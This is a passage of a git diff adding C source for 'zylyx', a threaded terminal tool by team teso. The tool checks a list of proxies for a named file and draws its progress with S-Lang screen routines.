COL_MSPICY, COL_LSPICY); + scr_build_sline_h (y1, x1 + 1, ((x2 - x1 - 2) / 2) + x1, '-', '-', '-', COL_SPICY, COL_MSPICY, COL_LSPICY); + scr_build_sline_h (y2, x1 + 1, ((x2 - x1 - 2) / 2) + x1, '-', '-', '-', COL_SPICY, COL_MSPICY, COL_LSPICY); + + scr_build_sline_v (x1, y2, ((y2 - y1) / 2) + y1, '|', '|', '+', COL_SPICY, COL_MSPICY, COL_LSPICY); + scr_build_sline_v (x2, y2, ((y2 - y1) / 2) + y1, '|', '|', '+', COL_SPICY, COL_MSPICY, COL_LSPICY); + scr_build_sline_h (y1, x2 - 1, ((x2 - x1) / 2) + x1, '-', '-', '-', COL_SPICY, COL_MSPICY, COL_LSPICY); + scr_build_sline_h (y2, x2 - 1, ((x2 - x1) / 2) + x1, '-', '-', '-', COL_SPICY, COL_MSPICY, COL_LSPICY); + + pthread_mutex_unlock (&screen_mutex); + + return; +} + + +void +scr_build_sline_v (int x, int y1, int y2, char start, char fill, char end, + int objhigh, int objmed, int objlow) +{ + int ly2, ly3; + + if (y1 > y2) { + int obj_tmp; + + y2 ^= y1; + y1 ^= y2; + y2 ^= y1; + + obj_tmp = objhigh; + objhigh = objlow; + objlow = objmed; + objmed = obj_tmp; + + ly2 = ((y2 - y1) - ((y2 - y1) / 8)) + y1; + ly3 = ((y2 - y1) - ((y2 - y1) / 4)) + y1; + } else { + ly2 = ((y2 - y1) / 8) + y1; + ly3 = ((y2 - y1) / 4) + y1; + } + + SLsmg_set_color (objhigh); + SLsmg_gotorc (y1, x); + SLsmg_write_char (start); + + for (++y1 ; y1 < y2 ; ++y1) { + if (y1 == ly2) { + SLsmg_set_color (objmed); + } else if (y1 == ly3) { + SLsmg_set_color (objlow); + } + SLsmg_gotorc (y1, x); + SLsmg_write_char (fill); + } + SLsmg_gotorc (y2, x); + SLsmg_write_char (end); + + return; +} + + +void +scr_build_sline_h (int y, int x1, int x2, char start, char fill, char end, + int objhigh, int objmed, int objlow) +{ + int lx2, lx3; + + if (x1 > x2) { + int obj_tmp; + + x2 ^= x1; + x1 ^= x2; + x2 ^= x1; + obj_tmp = objhigh; + objhigh = objlow; + objlow = objmed; + objmed = obj_tmp; + lx2 = ((x2 - x1) - ((x2 - x1) / 8)) + x1; + lx3 = ((x2 - x1) - ((x2 - x1) / 4)) + x1; + } else { + lx2 = ((x2 - x1) / 8) + x1; + lx3 = ((x2 - x1) / 4) + x1; + } + + SLsmg_set_color (objhigh); + SLsmg_gotorc (y, x1); + SLsmg_write_char (start); + + for (++x1 ; x1 < x2 ; ++x1) { + if (x1 == lx2) { + SLsmg_set_color (objmed); + } else if (x1 == lx3) { + SLsmg_set_color (objlow); + } + SLsmg_gotorc (y, x1); + SLsmg_write_char (fill); + } + SLsmg_gotorc (y, x2); + SLsmg_write_char (end); + + return; +} + + +void +scr_build_line_v (int obj, int x, int y1, int y2, char start, char fill, char end) +{ + SLsmg_set_color (obj); + SLsmg_gotorc (y1, x); + SLsmg_write_char (start); + + for (++y1 ; y1 < y2 ; ++y1) { + SLsmg_gotorc (y1, x); + SLsmg_write_char (fill); + } + + SLsmg_gotorc (y2, x); + SLsmg_write_char (end); + + return; +} + + +void +scr_build_line_h (int obj, int y, int x1, int x2, char start, char fill, char end) +{ + SLsmg_set_color (obj); + SLsmg_gotorc (y, x1); + SLsmg_write_char (start); + + for (++x1 ; x1 < x2 ; ++x1) { + SLsmg_gotorc (y, x1); + SLsmg_write_char (fill); + } + + SLsmg_gotorc (y, x2); + SLsmg_write_char (end); + + return; +} + + +void +scr_exit (void) +{ + SLsmg_reset_smg (); + SLang_reset_tty (); + + return; +} + diff --git a/other/zylyx/src/screen.h b/other/zylyx/src/screen.h new file mode 100644 index 0000000..2af9c5b --- /dev/null +++ b/other/zylyx/src/screen.h @@ -0,0 +1,45 @@ +/* zylyx - file find + * + * screen and output routines + * header file + * + * by team teso + */ + +#ifndef _ZYL_SCREEN +#define _ZYL_SCREEN + +#include + +#ifndef _ZYL_SCR_MAIN +extern pthread_mutex_t screen_mutex; +#endif + + +#define COL_SPICY 0x01 +#define COL_MSPICY 0x02 +#define COL_LSPICY 0x03 +#define COL_TEXT 0x04 +#define COL_STEXT 0x05 +#define COL_PRX_INACT 0x10 + +void scr_init (void); +void scr_prg_init (void); +void scr_init_col (void); +void scr_banner (void); +int scr_rprintf (int x, int y, const char *str, ...); +void scr_rprint (int x, int y, char *str); +void scr_cprint (int x, int y, char *str); +void scr_print (char *str1); +void scr_build_box (int x1, int y1, int x2, int y2); +void scr_build_sline_v (int x, int y1, int y2, char start, char fill, char end, + int objhigh, int objmed, int objlow); +void scr_build_sline_h (int y, int x1, int x2, char start, char fill, char end, + int objhigh, int objmed, int objlow); +void scr_build_line_v (int obj, int x, int y1, int y2, char start, char fill, char end); +void scr_build_line_h (int obj, int y, int x1, int x2, char start, char fill, char end); +void scr_exit (void); +void scr_init_col (void); + +#endif + diff --git a/other/zylyx/src/zylyx.c b/other/zylyx/src/zylyx.c new file mode 100644 index 0000000..5196c0f --- /dev/null +++ b/other/zylyx/src/zylyx.c @@ -0,0 +1,187 @@ +/* zylyx - file find ;-) + * + * by team teso + */ + +#include +#include +#include +#include +#include +#include +#include +#include "common.h" +#include "screen.h" +#include "proxy.h" +#include "zylyx.h" + +#define MAX_PROC 16 + +int win_y; + +int +main (int argc, char **argv) +{ + proxy **prx_list; + int proxy_count; + + if (argc != 2) { + printf ("usage: %s \n", argv[0]); + exit (EXIT_FAILURE); + } + + scr_init (); + scr_prg_init (); + + prx_list = prx_load ("proxy-list", &proxy_count); + if (prx_list == NULL) { + scr_exit (); + exit (EXIT_FAILURE); + } + + zyl_assign_prx (prx_list); + zyl_main (prx_list, proxy_count, argv[1]); + + scr_exit (); + + exit (EXIT_SUCCESS); +} + + +void +zyl_main (proxy **pl, int proxycount, char *file) +{ + int n; + struct timeval last_conn = { 0, 0 }; + sem_t permit_action, /* permit a client response */ + client_action; /* client responded */ + pthread_mutex_t subcount_m; /* subcounter mutex */ + int subcount = 0; + int proxy_ptr = 0; + pthread_mutex_t result_m; /* result data is locked hehe */ + result result_r; /* result data =) */ + + sem_init (&permit_action, 0, 0); + sem_init (&client_action, 0, 0); + pthread_mutex_init (&subcount_m, NULL); + pthread_mutex_init (&result_m, NULL); + + sem_post (&permit_action); + + /* fire clients and take events (event loop) + */ + + while (proxy_ptr < proxycount) { + pthread_mutex_lock (&subcount_m); + if (subcount < MAX_PROC) { + unsigned long int tp; + + pl[proxy_ptr]->file = file; + + /* anti flood mechanism :) + */ + tp = t_passed (&last_conn); + if (tp > 0 && tp < 500000) { + /* race condition here (find it and you'll get a hug ;) + */ + usleep (500000 - tp); + } + gettimeofday (&last_conn, NULL); + prx_fire (pl[proxy_ptr++], &result_r, &result_m, &permit_action, &client_action); + subcount++; + } + pthread_mutex_unlock (&subcount_m); + +#ifdef IPC_DEBUG + printf ("zylyx.c:%d # sem_trywait (&client_action) = %d\n", __LINE__, sem_trywait (&client_action)); + printf ("zylyx.c:%d # subcount = %d\n", __LINE__, subcount); +#endif + + /* if we cannot fire out new clients because we reached the maximum number, + * or if a client wants our attention we enter the result processing + */ + + n = 1; + if (subcount >= MAX_PROC || + ((n = sem_trywait (&client_action)) == 0)) + { + + /* wait for client action (queued) + */ + if (n == 1) + sem_wait (&client_action); + + /* lock result data + */ + pthread_mutex_lock (&result_m); + + /* only be verbose if the file was found + */ + if (result_r.found == 1) { + + /* yeah, zylyx found the file, now tell the user + */ + + scr_rprint (1, win_y, ":01! - "); + scr_rprintf (5, win_y++, "%s %hu\n", + result_r.proxy_host, result_r.proxy_port); + } + + /* unlock the result data for the clients to modify, + * then post the permission to act ;-) + */ + pthread_mutex_unlock (&result_m); + sem_post (&permit_action); + + subcount--; /* one client quitted */ + } + } + + while (subcount > 0) { + sem_wait (&client_action); + pthread_mutex_lock (&result_m); + + if (result_r.found == 1) { + /* yeah, zylyx found the file + */ + + scr_rprint (1, win_y, ":01! - "); + scr_rprintf (5, win_y++, "%s %hu\n", + result_r.proxy_host, result_r.proxy_port); + } + pthread_mutex_unlock (&result_m); + sem_post (&permit_action); + subcount--; /* one client quitted */ + } + + return; +} + + +void +zyl_assign_prx (proxy **pl) +{ + int x, y; + int n = 0; + + x = 1; + y = 7; + + for (y = 7; y < SLtt_Screen_Rows - 2; ++y) { + for (x = 1; x < SLtt_Screen_Cols - 1; ++x) { + if (pl[n] == NULL) { + scr_build_box (0, 6, SLtt_Screen_Cols - 1, y + 1); + scr_build_box (0, y + 1, SLtt_Screen_Cols - 1, SLtt_Screen_Rows - 1); + win_y = y + 2; + SLsmg_refresh (); + return; + } + pl[n]->x = x; + pl[n]->y = y; + scr_rprint (x, y, ":16."); + n++; + } + } + + return; +} diff --git a/other/zylyx/src/zylyx.h b/other/zylyx/src/zylyx.h new file mode 100644 index 0000000..bd2c30a --- /dev/null +++ b/other/zylyx/src/zylyx.h @@ -0,0 +1,30 @@ +/* zylyx - file find + * + * by scut of teso + */ + +#ifndef _ZYL_ZYLYX_H +#define _ZYL_ZYLYX_H + +#define VERSION "0.1.1" +#define AUTHORS "scut of teso" + +typedef struct proxy { + char *file; + char *host; + unsigned short int port; + int x, y; /* field with proxy info :) */ +} proxy; + +typedef struct result { + int found; + char *proxy_host; + unsigned short int proxy_port; + char *file; +} result; + +void zyl_assign_prx (proxy **pl); +void zyl_main (proxy **pl, int proxycount, char *file); + +#endif + -- cgit v1.3